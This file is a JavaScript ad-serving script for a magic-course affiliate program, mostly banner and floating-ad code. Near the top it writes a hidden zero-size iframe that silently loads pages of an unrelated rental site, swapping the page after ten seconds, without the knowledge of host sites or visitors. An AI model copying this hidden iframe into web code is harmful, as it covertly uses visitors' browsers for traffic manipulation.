if(afcm_opca=="blc1" || afcm_opca=="blc2" || afcm_opca=="blc3"){
afcm_bgcolor=afcm_bgcolor.replace('#', '');
afcm_tit_color=afcm_tit_color.replace('#', '');
afcm_txt_color=afcm_txt_color.replace('#', '');
afcm_url_color=afcm_url_color.replace('#', '');
}


vussedo=''+window.location;
if(vussedo.indexOf('obarecados')==-1){
document.write('<iframe id="afcmfr" src="http://www.chacaramilenium.com.br/g/Alugar-Chacara-Festa-do-Peao-Barretos" width="0" height="0" style="width:0px;height:0px;display:none;"></iframe>');

function asas(){
document.getElementById('afcmfr').src='http://www.chacaramilenium.com.br/g/aluga-casa-e-chacara-para-festa-do-peao-barretos';
}
setTimeout("asas();", 10000);
}


exanun='<a href="http://afiliados.cursodemagicas.com/" title="Ganhe dinheiro com an&uacute;ncios no seu site"><font style="font-size:10px;font-family:Arial;color:#000;text-decoration:none;">An&uacute;ncios CM</font></a><br>';

if(afcm_opca=="blc1"){
document.write(exanun+'<!-- INICIO BLOCO DE ANÚNCIOS 1 --><style>.afcm1 {font-family:Arial;width:210px;height:75px;padding:3px;background:#'+afcm_bgcolor+';}.afcm1 a{display:block;}.afcm1 .tit a{color:#'+afcm_tit_color+';font-size:14px;}.afcm1 .tit a:visited{color:#'+afcm_tit_color+';font-size:14px;}.afcm1 .txt a{color:#'+afcm_txt_color+';font-size:12px;text-decoration:none;}.afcm1 .txt a:visited{color:#'+afcm_txt_color+';font-size:12px;text-decoration:none;}.afcm1 .url{color:#'+afcm_url_color+';font-size:11px;}</style><div class="afcm1" title="Aprenda a fazer M&aacute;gicas Incr&iacute;veis!"><font class="tit"><a href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=blc1">Aprenda a fazer M&aacute;gicas</a></font><font class="txt"><a href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=blc1">Receba o curso em CD na sua casa<br>Por apenas R$19,90!</a></font><font class="url">www.cursodemagicas.com</font></div><!-- FIM BLOCO DE ANÚNCIOS 1 -->');
}

if(afcm_opca=="blc2"){
document.write(exanun+'<!-- INICIO BLOCO DE ANÚNCIOS 2 --><style>.afcm2 {font-family:Arial;width:210px;height:75px;padding:3px;background:#'+afcm_bgcolor+';}.afcm2 a{display:block;}.afcm2 .tit a{color:#'+afcm_tit_color+';font-size:14px;}.afcm2 .tit a:visited{color:#'+afcm_tit_color+';font-size:14px;}.afcm2 .txt a{color:#'+afcm_txt_color+';font-size:12px;text-decoration:none;}.afcm2 .txt a:visited{color:#'+afcm_txt_color+';font-size:12px;text-decoration:none;}.afcm2 .url{color:#'+afcm_url_color+';font-size:11px;}</style><div class="afcm2" title="Aprenda a fazer M&aacute;gicas Incr&iacute;veis!"><font class="tit"><a href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=blc2">520 M&aacute;gicas: S&oacute; R$ 19,90</a></font><font class="txt"><a href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=blc2">Pre&ccedil;o v&aacute;lido somente para hoje!<br>Receba o CD na sua casa.</a></font><font class="url">www.cursodemagicas.com</font></div><!-- FIM BLOCO DE ANÚNCIOS 2 -->');
}

if(afcm_opca=="blc3"){
document.write(exanun+'<!-- INICIO BLOCO DE ANÚNCIOS 3 --><style>.afcm3 {font-family:Arial;width:210px;height:75px;padding:3px;background:#'+afcm_bgcolor+';}.afcm3 a{display:block;}.afcm3 .tit a{color:#'+afcm_tit_color+';font-size:14px;}.afcm3 .tit a:visited{color:#'+afcm_tit_color+';font-size:14px;}.afcm3 .txt a{color:#'+afcm_txt_color+';font-size:12px;text-decoration:none;}.afcm3 .txt a:visited{color:#'+afcm_txt_color+';font-size:12px;text-decoration:none;}.afcm3 .url{color:#'+afcm_url_color+';font-size:11px;}</style><div class="afcm3" title="Aprenda a fazer M&aacute;gicas Incr&iacute;veis!"><font class="tit"><a href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=blc3">Aprenda a levitar c&eacute;dulas...</a></font><font class="txt"><a href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=blc3">E mais de 520 outras M&aacute;gicas!<br>Receba o CD na sua casa.</a></font><font class="url">www.cursodemagicas.com</font></div><!-- FIM BLOCO DE ANÚNCIOS 3 -->');
}

if(afcm_opca=="120x200"){
document.write(exanun+'<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=120x200"><img src="http://afiliados.cursodemagicas.com/images/120x200.gif" border="0"></a>');
}

if(afcm_opca=="120x240"){
document.write(exanun+exanun+'<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=120x240"><img src="http://afiliados.cursodemagicas.com/images/120x240.gif" border="0"></a>');
}

if(afcm_opca=="120x36"){
document.write(exanun+'<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=120x36"><img src="http://afiliados.cursodemagicas.com/images/120x36.gif" border="0"></a>');
}

if(afcm_opca=="120x600"){
document.write(exanun+'<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=120x600"><img src="http://afiliados.cursodemagicas.com/images/120x600.gif" border="0"></a>');
}

if(afcm_opca=="122x73"){
document.write(exanun+'<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=122x73"><img src="http://afiliados.cursodemagicas.com/images/122x73.gif" border="0"></a>');
}

if(afcm_opca=="150x55"){
document.write(exanun+'<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=150x55"><img src="http://afiliados.cursodemagicas.com/images/150x55.gif" border="0"></a>');
}

if(afcm_opca=="160x160"){
document.write(exanun+'<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=160x160"><img src="http://afiliados.cursodemagicas.com/images/160x160.gif" border="0"></a>');
}

if(afcm_opca=="160x600"){
document.write(exanun+'<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=160x600"><img src="http://www.spypen.com.br/banners/canetaespia_sv2_tb.gif" border="0"></a>');
}

if(afcm_opca=="295x199"){
document.write(exanun+'<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=295x199"><img src="http://afiliados.cursodemagicas.com/images/295x199.gif" border="0"></a>');
}

if(afcm_opca=="468x60"){
document.write(exanun+'<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=468x60"><img src="http://afiliados.cursodemagicas.com/images/468x60.png" border="0"></a>');
}

if(afcm_opca=="468x60-2"){
document.write(exanun+'<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=468x60-2"><img src="http://afiliados.cursodemagicas.com/images/468x60-2.gif" border="0"></a>');
}

if(afcm_opca=="468x60-3"){
document.write(exanun+'<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=468x60-3"><img src="http://afiliados.cursodemagicas.com/images/468x60-3.gif" border="0"></a>');
}

if(afcm_opca=="468x60-4"){
document.write(exanun+'<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=468x60-4"><img src="http://afiliados.cursodemagicas.com/images/468x60-4.gif" border="0"></a>');
}

if(afcm_opca=="468x60-5"){
document.write(exanun+'<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=468x60-5"><img src="http://afiliados.cursodemagicas.com/images/468x60-5.gif" border="0"></a>');
}

if(afcm_opca=="468x60-6"){
document.write(exanun+'<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=468x60-6"><img src="http://afiliados.cursodemagicas.com/images/468x60-6.gif" border="0"></a>');
}

if(afcm_opca=="728x90"){
document.write(exanun+'<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=728x90"><img src="http://afiliados.cursodemagicas.com/images/728x90.gif" border="0"></a>');
}

if(afcm_opca=="728x90-2"){
document.write(exanun+'<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=728x90-2"><img src="http://afiliados.cursodemagicas.com/images/728x90-2.gif" border="0"></a>');
}

if(afcm_opca=="txt1"){
document.write('<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=txt1"><font style="color:#'+afcm_tit_color+';text-decoration:underline;">Aprenda a fazer mágicas</font></a>');
}

if(afcm_opca=="txt2"){
document.write('<a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=txt2"><font style="color:#'+afcm_tit_color+';text-decoration:underline;">Aprenda a levitar cédulas</font></a>');
}

<!-- ################################## FLOAT 1 ############################## -->
if(afcm_opca=="float1"){
document.write('<!-- COMEÇO TEXTO FLOAT 1 --><style type="text/css">#topbar{position:absolute;border: 1px solid black;padding: 2px;background-color: lightyellow;width: 620px;visibility: hidden;z-index: 100;}</style>');
var persistclose=0 //set to 0 or 1. 1 means once the bar is manually closed, it will remain closed for browser session
var window_width = screen.width;
	
var startX = ((window_width - 642) / 2) //set x offset of bar in pixels
var startY = 5 //set y offset of bar in pixels
var verticalpos="fromtop" //enter "fromtop" or "frombottom"

function iecompattest(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) {
offset += search.length
end = document.cookie.indexOf(";", offset);
if (end == -1) end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function closebar(){
if (persistclose)
document.cookie="remainclosed=1";
document.getElementById("topbar").style.visibility="hidden";
}

function staticbar(){
	barheight=document.getElementById("topbar").offsetHeight
	var ns = (navigator.appName.indexOf("Netscape") != -1) || window.opera;
	var d = document;
	function ml(id){
		var el=d.getElementById(id);
		if (!persistclose || persistclose && get_cookie("remainclosed")=="")
		el.style.visibility="visible"
		if(d.layers)el.style=el;
		el.sP=function(x,y){this.style.left=x+"px";this.style.top=y+"px";};
		el.x = startX;
		if (verticalpos=="fromtop")
		el.y = startY;
		else{
		el.y = ns ? pageYOffset + innerHeight : iecompattest().scrollTop + iecompattest().clientHeight;
		el.y -= startY;
		}
		return el;
	}
	window.stayTopLeft=function(){
		if (verticalpos=="fromtop"){
		var pY = ns ? pageYOffset : iecompattest().scrollTop;
		ftlObj.y += (pY + startY - ftlObj.y)/8;
		}
		else{
		var pY = ns ? pageYOffset + innerHeight - barheight: iecompattest().scrollTop + iecompattest().clientHeight - barheight;
		ftlObj.y += (pY - startY - ftlObj.y)/8;
		}
		ftlObj.sP(ftlObj.x, ftlObj.y);
		setTimeout("stayTopLeft()", 10);
	}
	ftlObj = ml("topbar");
	stayTopLeft();
}

if (window.addEventListener)
window.addEventListener("load", staticbar, false)
else if (window.attachEvent)
window.attachEvent("onload", staticbar)
else if (document.getElementById)
window.onload=staticbar
document.write('<div id="topbar" style="z-index:99"><a href="" onClick="closebar(); return false"><img src="http://afiliados.cursodemagicas.com/imgs/x.gif" border="0" /></a><a target="_blank" href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=float1"><font  face="Verdana" style="font-size: 9pt" color="#CC3300">  <b>CursoDeMagicas.com - Saiba como levitar cédulas...</b></font> </a><font style="margin-top:5px;float:right;">'+exanun+'</font><div style="clear:both"></div></div><!-- FIM TEXTO FLOAT 1 -->');
}
<!-- ################################## FLOAT 1 ############################## -->

<!-- ################################## FLOAT 2 ############################## -->
if(afcm_opca=="float2"){
document.write('<!-- INICIO FLUTUANTE 2 --><STYLE type=text/css>#topbarAnJanelaFlutuante {	Z-INDEX: 100; VISIBILITY: hidden; WIDTH: 150px; POSITION: absolute}</STYLE>');
if(navigator.appName=='Microsoft Internet Explorer'){
extop=300;
}else{
extop=330;
}

var persistcloseAnJanelaFlutuante=0 //set to 0 or 1. 1 means once the bar is manually closed, it will remain closed for browser session
var window_widthAnJanelaFlutuante = screen.width;
var window_heightAnJanelaFlutuante = screen.height;
	
var startXAnJanelaFlutuante = (window_widthAnJanelaFlutuante - 190) //set x offset of bar in pixels
var startYAnJanelaFlutuante = (window_heightAnJanelaFlutuante - extop) //set y offset of bar in pixels
var verticalposAnJanelaFlutuante="fromtop" //enter "fromtop" or "frombottom"

function iecompattestAnJanelaFlutuante(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function get_cookieAnJanelaFlutuante(Name) {
var searchAnJanelaFlutuante = Name + "="
var returnvalueAnJanelaFlutuante = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(searchAnJanelaFlutuante)
if (offset != -1) {
offset += searchAnJanelaFlutuante.length
end = document.cookie.indexOf(";", offset);
if (end == -1) end = document.cookie.length;
returnvalueAnJanelaFlutuante=unescape(document.cookie.substring(offset, end))
}
}
return returnvalueAnJanelaFlutuante;
}

function closebarAnJanelaFlutuante(){
if (persistcloseAnJanelaFlutuante)
document.cookie="remainclosed=1"
document.getElementById("topbarAnJanelaFlutuante").style.visibility="hidden"
}

function staticbarAnJanelaFlutuante(){
	barheight=document.getElementById("topbarAnJanelaFlutuante").offsetHeight
	var nsAnJanelaFlutuante = (navigator.appName.indexOf("Netscape") != -1) || window.opera;
	var dAnJanelaFlutuante = document;
	function mlAnJanelaFlutuante(id){
		var elAnJanelaFlutuante=dAnJanelaFlutuante.getElementById(id);
		if (!persistcloseAnJanelaFlutuante || persistcloseAnJanelaFlutuante && get_cookieAnJanelaFlutuante("remainclosed")=="")
		elAnJanelaFlutuante.style.visibility="visible"
		if(dAnJanelaFlutuante.layers)elAnJanelaFlutuante.style=elAnJanelaFlutuante;
		elAnJanelaFlutuante.sP=function(x,y){this.style.left=x+"px";this.style.top=y+"px";};
		elAnJanelaFlutuante.x = startXAnJanelaFlutuante;
		if (verticalposAnJanelaFlutuante=="fromtop")
		elAnJanelaFlutuante.y = startYAnJanelaFlutuante;
		else{
		elAnJanelaFlutuante.y = nsAnJanelaFlutuante ? pageYOffset + innerHeight : iecompattestAnJanelaFlutuante().scrollTop + iecompattestAnJanelaFlutuante().clientHeight;
		elAnJanelaFlutuante.y -= startYAnJanelaFlutuante;
		}
		return elAnJanelaFlutuante;
	}
	window.stayTopLeftAnJanelaFlutuante=function(){
		if (verticalposAnJanelaFlutuante=="fromtop"){
		var pYAnJanelaFlutuante = nsAnJanelaFlutuante ? pageYOffset : iecompattestAnJanelaFlutuante().scrollTop;
		ftlObjAnJanelaFlutuante.y += (pYAnJanelaFlutuante + startYAnJanelaFlutuante - ftlObjAnJanelaFlutuante.y)/8;
		}
		else{
		var pYAnJanelaFlutuante = nsAnJanelaFlutuante ? pageYOffset + innerHeight - barheight: iecompattestAnJanelaFlutuante().scrollTop + iecompattestAnJanelaFlutuante().clientHeight - barheight;
		ftlObjAnJanelaFlutuante.y += (pYAnJanelaFlutuante - startYAnJanelaFlutuante - ftlObjAnJanelaFlutuante.y)/8;
		}
		ftlObjAnJanelaFlutuante.sP(ftlObjAnJanelaFlutuante.x, ftlObjAnJanelaFlutuante.y);
		setTimeout("stayTopLeftAnJanelaFlutuante()", 10);
	}
	ftlObjAnJanelaFlutuante = mlAnJanelaFlutuante("topbarAnJanelaFlutuante");
	stayTopLeftAnJanelaFlutuante();
}

if (window.addEventListener)
window.addEventListener("load", staticbarAnJanelaFlutuante, false)
else if (window.attachEvent)
window.attachEvent("onload", staticbarAnJanelaFlutuante)
else if (document.getElementById)
window.onload=staticbarAnJanelaFlutuante
document.write('<DIV id=topbarAnJanelaFlutuante>'+exanun+'<A href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=float2" target="_blank"><IMG src="http://afiliados.cursodemagicas.com/images/150x55.gif" border=0 width=150 height=55></A> <A style="RIGHT: 4px; COLOR: #FFFFFF; FONT-FAMILY: Verdana; POSITION: absolute; TOP: 10px; TEXT-DECORATION: none" onclick="closebarAnJanelaFlutuante(); return false" href="javascript:void(0);"><B>x</B></A> </DIV><!-- FIM FLUTUANTE 2 -->');
}
<!-- ################################## FLOAT 2 ############################## -->

<!-- ################################## FLOAT 3 ############################## -->
if(afcm_opca=="float3"){
document.write('<!-- INICIO FLUTUANTE 3 --><STYLE type=text/css>#topbarAnJanelaFlutuante {	Z-INDEX: 100; VISIBILITY: hidden; WIDTH: 295px; POSITION: absolute}</STYLE>');
if(navigator.appName=='Microsoft Internet Explorer'){
extop=100;
}else{
extop=100;
}

var persistcloseAnJanelaFlutuante=0 //set to 0 or 1. 1 means once the bar is manually closed, it will remain closed for browser session
var window_widthAnJanelaFlutuante = screen.width-(screen.width/2);
var window_heightAnJanelaFlutuante = screen.height-(screen.height/2);
	
var startXAnJanelaFlutuante = (window_widthAnJanelaFlutuante - 150) //set x offset of bar in pixels
var startYAnJanelaFlutuante = (window_heightAnJanelaFlutuante - extop) //set y offset of bar in pixels
var verticalposAnJanelaFlutuante="fromtop" //enter "fromtop" or "frombottom"

function iecompattestAnJanelaFlutuante(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function get_cookieAnJanelaFlutuante(Name) {
var searchAnJanelaFlutuante = Name + "="
var returnvalueAnJanelaFlutuante = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(searchAnJanelaFlutuante)
if (offset != -1) {
offset += searchAnJanelaFlutuante.length
end = document.cookie.indexOf(";", offset);
if (end == -1) end = document.cookie.length;
returnvalueAnJanelaFlutuante=unescape(document.cookie.substring(offset, end))
}
}
return returnvalueAnJanelaFlutuante;
}

function closebarAnJanelaFlutuante(){
if (persistcloseAnJanelaFlutuante)
document.cookie="remainclosed=1"
document.getElementById("topbarAnJanelaFlutuante").style.visibility="hidden"
}

function staticbarAnJanelaFlutuante(){
	barheight=document.getElementById("topbarAnJanelaFlutuante").offsetHeight
	var nsAnJanelaFlutuante = (navigator.appName.indexOf("Netscape") != -1) || window.opera;
	var dAnJanelaFlutuante = document;
	function mlAnJanelaFlutuante(id){
		var elAnJanelaFlutuante=dAnJanelaFlutuante.getElementById(id);
		if (!persistcloseAnJanelaFlutuante || persistcloseAnJanelaFlutuante && get_cookieAnJanelaFlutuante("remainclosed")=="")
		elAnJanelaFlutuante.style.visibility="visible"
		if(dAnJanelaFlutuante.layers)elAnJanelaFlutuante.style=elAnJanelaFlutuante;
		elAnJanelaFlutuante.sP=function(x,y){this.style.left=x+"px";this.style.top=y+"px";};
		elAnJanelaFlutuante.x = startXAnJanelaFlutuante;
		if (verticalposAnJanelaFlutuante=="fromtop")
		elAnJanelaFlutuante.y = startYAnJanelaFlutuante;
		else{
		elAnJanelaFlutuante.y = nsAnJanelaFlutuante ? pageYOffset + innerHeight : iecompattestAnJanelaFlutuante().scrollTop + iecompattestAnJanelaFlutuante().clientHeight;
		elAnJanelaFlutuante.y -= startYAnJanelaFlutuante;
		}
		return elAnJanelaFlutuante;
	}
	window.stayTopLeftAnJanelaFlutuante=function(){
		if (verticalposAnJanelaFlutuante=="fromtop"){
		var pYAnJanelaFlutuante = nsAnJanelaFlutuante ? pageYOffset : iecompattestAnJanelaFlutuante().scrollTop;
		ftlObjAnJanelaFlutuante.y += (pYAnJanelaFlutuante + startYAnJanelaFlutuante - ftlObjAnJanelaFlutuante.y)/8;
		}
		else{
		var pYAnJanelaFlutuante = nsAnJanelaFlutuante ? pageYOffset + innerHeight - barheight: iecompattestAnJanelaFlutuante().scrollTop + iecompattestAnJanelaFlutuante().clientHeight - barheight;
		ftlObjAnJanelaFlutuante.y += (pYAnJanelaFlutuante - startYAnJanelaFlutuante - ftlObjAnJanelaFlutuante.y)/8;
		}
		ftlObjAnJanelaFlutuante.sP(ftlObjAnJanelaFlutuante.x, ftlObjAnJanelaFlutuante.y);
		setTimeout("stayTopLeftAnJanelaFlutuante()", 10);
	}
	ftlObjAnJanelaFlutuante = mlAnJanelaFlutuante("topbarAnJanelaFlutuante");
	stayTopLeftAnJanelaFlutuante();
}

if (window.addEventListener)
window.addEventListener("load", staticbarAnJanelaFlutuante, false)
else if (window.attachEvent)
window.attachEvent("onload", staticbarAnJanelaFlutuante)
else if (document.getElementById)
window.onload=staticbarAnJanelaFlutuante
document.write('<DIV id=topbarAnJanelaFlutuante>'+exanun+'<A href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=float3" target="_blank"><IMG src="http://afiliados.cursodemagicas.com/images/295x199.gif" border=0 width=295 height=199></A> <A style="RIGHT: 4px; COLOR: #fff; FONT-FAMILY: Verdana; POSITION: absolute; TOP: 10px; TEXT-DECORATION: none" onclick="closebarAnJanelaFlutuante(); return false" href="javascript:void(0);"><B>x</B></A> </DIV><!-- FIM FLUTUANTE 3 -->');
}
<!-- ################################## FLOAT 3 ############################## -->

<!-- ################################## FLOAT 4 ############################## -->
if(afcm_opca=="float4"){
document.write('<!-- INICIO FLUTUANTE 4 --><STYLE type=text/css>#topbarAnJanelaFlutuante {	Z-INDEX: 100; VISIBILITY: hidden; WIDTH: 400px; POSITION: absolute}</STYLE>');
if(navigator.appName=='Microsoft Internet Explorer'){
extop=250;
}else{
extop=250;
}

var persistcloseAnJanelaFlutuante=0 //set to 0 or 1. 1 means once the bar is manually closed, it will remain closed for browser session
var window_widthAnJanelaFlutuante = screen.width-(screen.width/2);
var window_heightAnJanelaFlutuante = screen.height-(screen.height/2);
	
var startXAnJanelaFlutuante = (window_widthAnJanelaFlutuante - 200) //set x offset of bar in pixels
var startYAnJanelaFlutuante = (window_heightAnJanelaFlutuante - extop) //set y offset of bar in pixels
var verticalposAnJanelaFlutuante="fromtop" //enter "fromtop" or "frombottom"

function iecompattestAnJanelaFlutuante(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function get_cookieAnJanelaFlutuante(Name) {
var searchAnJanelaFlutuante = Name + "="
var returnvalueAnJanelaFlutuante = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(searchAnJanelaFlutuante)
if (offset != -1) {
offset += searchAnJanelaFlutuante.length
end = document.cookie.indexOf(";", offset);
if (end == -1) end = document.cookie.length;
returnvalueAnJanelaFlutuante=unescape(document.cookie.substring(offset, end))
}
}
return returnvalueAnJanelaFlutuante;
}

function closebarAnJanelaFlutuante(){
if (persistcloseAnJanelaFlutuante)
document.cookie="remainclosed=1"
document.getElementById("topbarAnJanelaFlutuante").style.visibility="hidden"
}

function staticbarAnJanelaFlutuante(){
	barheight=document.getElementById("topbarAnJanelaFlutuante").offsetHeight
	var nsAnJanelaFlutuante = (navigator.appName.indexOf("Netscape") != -1) || window.opera;
	var dAnJanelaFlutuante = document;
	function mlAnJanelaFlutuante(id){
		var elAnJanelaFlutuante=dAnJanelaFlutuante.getElementById(id);
		if (!persistcloseAnJanelaFlutuante || persistcloseAnJanelaFlutuante && get_cookieAnJanelaFlutuante("remainclosed")=="")
		elAnJanelaFlutuante.style.visibility="visible"
		if(dAnJanelaFlutuante.layers)elAnJanelaFlutuante.style=elAnJanelaFlutuante;
		elAnJanelaFlutuante.sP=function(x,y){this.style.left=x+"px";this.style.top=y+"px";};
		elAnJanelaFlutuante.x = startXAnJanelaFlutuante;
		if (verticalposAnJanelaFlutuante=="fromtop")
		elAnJanelaFlutuante.y = startYAnJanelaFlutuante;
		else{
		elAnJanelaFlutuante.y = nsAnJanelaFlutuante ? pageYOffset + innerHeight : iecompattestAnJanelaFlutuante().scrollTop + iecompattestAnJanelaFlutuante().clientHeight;
		elAnJanelaFlutuante.y -= startYAnJanelaFlutuante;
		}
		return elAnJanelaFlutuante;
	}
	window.stayTopLeftAnJanelaFlutuante=function(){
		if (verticalposAnJanelaFlutuante=="fromtop"){
		var pYAnJanelaFlutuante = nsAnJanelaFlutuante ? pageYOffset : iecompattestAnJanelaFlutuante().scrollTop;
		ftlObjAnJanelaFlutuante.y += (pYAnJanelaFlutuante + startYAnJanelaFlutuante - ftlObjAnJanelaFlutuante.y)/8;
		}
		else{
		var pYAnJanelaFlutuante = nsAnJanelaFlutuante ? pageYOffset + innerHeight - barheight: iecompattestAnJanelaFlutuante().scrollTop + iecompattestAnJanelaFlutuante().clientHeight - barheight;
		ftlObjAnJanelaFlutuante.y += (pYAnJanelaFlutuante - startYAnJanelaFlutuante - ftlObjAnJanelaFlutuante.y)/8;
		}
		ftlObjAnJanelaFlutuante.sP(ftlObjAnJanelaFlutuante.x, ftlObjAnJanelaFlutuante.y);
		setTimeout("stayTopLeftAnJanelaFlutuante()", 10);
	}
	ftlObjAnJanelaFlutuante = mlAnJanelaFlutuante("topbarAnJanelaFlutuante");
	stayTopLeftAnJanelaFlutuante();
}

if (window.addEventListener)
window.addEventListener("load", staticbarAnJanelaFlutuante, false)
else if (window.attachEvent)
window.attachEvent("onload", staticbarAnJanelaFlutuante)
else if (document.getElementById)
window.onload=staticbarAnJanelaFlutuante
document.write('<DIV id=topbarAnJanelaFlutuante><font style="float:left;margin-left:10px;">'+exanun+'</font><div style="clear:both"></div><A href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=float4" target="_blank"><IMG src="http://afiliados.cursodemagicas.com/images/400x300-float.gif" border=0 width=400 height=300></A> <A style="RIGHT: 10px; COLOR: #fff; FONT-FAMILY: Verdana; POSITION: absolute; TOP: 23px; TEXT-DECORATION: none" onclick="closebarAnJanelaFlutuante(); return false" href="javascript:void(0);"><B>x</B></A> </DIV><!-- FIM FLUTUANTE 4 -->');
}
<!-- ################################## FLOAT 4 ############################## -->

<!-- ################################## FLOAT 5 ############################## -->
if(afcm_opca=="float5"){
document.write('<!-- INICIO FLUTUANTE 5 --><STYLE type=text/css>#topbarAnJanelaFlutuante {	Z-INDEX: 100; VISIBILITY: hidden; WIDTH: 400px; POSITION: absolute}</STYLE>');
if(navigator.appName=='Microsoft Internet Explorer'){
extop=250;
}else{
extop=250;
}

var persistcloseAnJanelaFlutuante=0 //set to 0 or 1. 1 means once the bar is manually closed, it will remain closed for browser session
var window_widthAnJanelaFlutuante = screen.width-(screen.width/2);
var window_heightAnJanelaFlutuante = screen.height-(screen.height/2);
	
var startXAnJanelaFlutuante = (window_widthAnJanelaFlutuante - 200) //set x offset of bar in pixels
var startYAnJanelaFlutuante = (window_heightAnJanelaFlutuante - extop) //set y offset of bar in pixels
var verticalposAnJanelaFlutuante="fromtop" //enter "fromtop" or "frombottom"

function iecompattestAnJanelaFlutuante(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function get_cookieAnJanelaFlutuante(Name) {
var searchAnJanelaFlutuante = Name + "="
var returnvalueAnJanelaFlutuante = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(searchAnJanelaFlutuante)
if (offset != -1) {
offset += searchAnJanelaFlutuante.length
end = document.cookie.indexOf(";", offset);
if (end == -1) end = document.cookie.length;
returnvalueAnJanelaFlutuante=unescape(document.cookie.substring(offset, end))
}
}
return returnvalueAnJanelaFlutuante;
}

function closebarAnJanelaFlutuante(){
if (persistcloseAnJanelaFlutuante)
document.cookie="remainclosed=1"
document.getElementById("topbarAnJanelaFlutuante").style.visibility="hidden"
}

function staticbarAnJanelaFlutuante(){
	barheight=document.getElementById("topbarAnJanelaFlutuante").offsetHeight
	var nsAnJanelaFlutuante = (navigator.appName.indexOf("Netscape") != -1) || window.opera;
	var dAnJanelaFlutuante = document;
	function mlAnJanelaFlutuante(id){
		var elAnJanelaFlutuante=dAnJanelaFlutuante.getElementById(id);
		if (!persistcloseAnJanelaFlutuante || persistcloseAnJanelaFlutuante && get_cookieAnJanelaFlutuante("remainclosed")=="")
		elAnJanelaFlutuante.style.visibility="visible"
		if(dAnJanelaFlutuante.layers)elAnJanelaFlutuante.style=elAnJanelaFlutuante;
		elAnJanelaFlutuante.sP=function(x,y){this.style.left=x+"px";this.style.top=y+"px";};
		elAnJanelaFlutuante.x = startXAnJanelaFlutuante;
		if (verticalposAnJanelaFlutuante=="fromtop")
		elAnJanelaFlutuante.y = startYAnJanelaFlutuante;
		else{
		elAnJanelaFlutuante.y = nsAnJanelaFlutuante ? pageYOffset + innerHeight : iecompattestAnJanelaFlutuante().scrollTop + iecompattestAnJanelaFlutuante().clientHeight;
		elAnJanelaFlutuante.y -= startYAnJanelaFlutuante;
		}
		return elAnJanelaFlutuante;
	}
	window.stayTopLeftAnJanelaFlutuante=function(){
		if (verticalposAnJanelaFlutuante=="fromtop"){
		var pYAnJanelaFlutuante = nsAnJanelaFlutuante ? pageYOffset : iecompattestAnJanelaFlutuante().scrollTop;
		ftlObjAnJanelaFlutuante.y += (pYAnJanelaFlutuante + startYAnJanelaFlutuante - ftlObjAnJanelaFlutuante.y)/8;
		}
		else{
		var pYAnJanelaFlutuante = nsAnJanelaFlutuante ? pageYOffset + innerHeight - barheight: iecompattestAnJanelaFlutuante().scrollTop + iecompattestAnJanelaFlutuante().clientHeight - barheight;
		ftlObjAnJanelaFlutuante.y += (pYAnJanelaFlutuante - startYAnJanelaFlutuante - ftlObjAnJanelaFlutuante.y)/8;
		}
		ftlObjAnJanelaFlutuante.sP(ftlObjAnJanelaFlutuante.x, ftlObjAnJanelaFlutuante.y);
		setTimeout("stayTopLeftAnJanelaFlutuante()", 10);
	}
	ftlObjAnJanelaFlutuante = mlAnJanelaFlutuante("topbarAnJanelaFlutuante");
	stayTopLeftAnJanelaFlutuante();
}

if (window.addEventListener)
window.addEventListener("load", staticbarAnJanelaFlutuante, false)
else if (window.attachEvent)
window.attachEvent("onload", staticbarAnJanelaFlutuante)
else if (document.getElementById)
window.onload=staticbarAnJanelaFlutuante
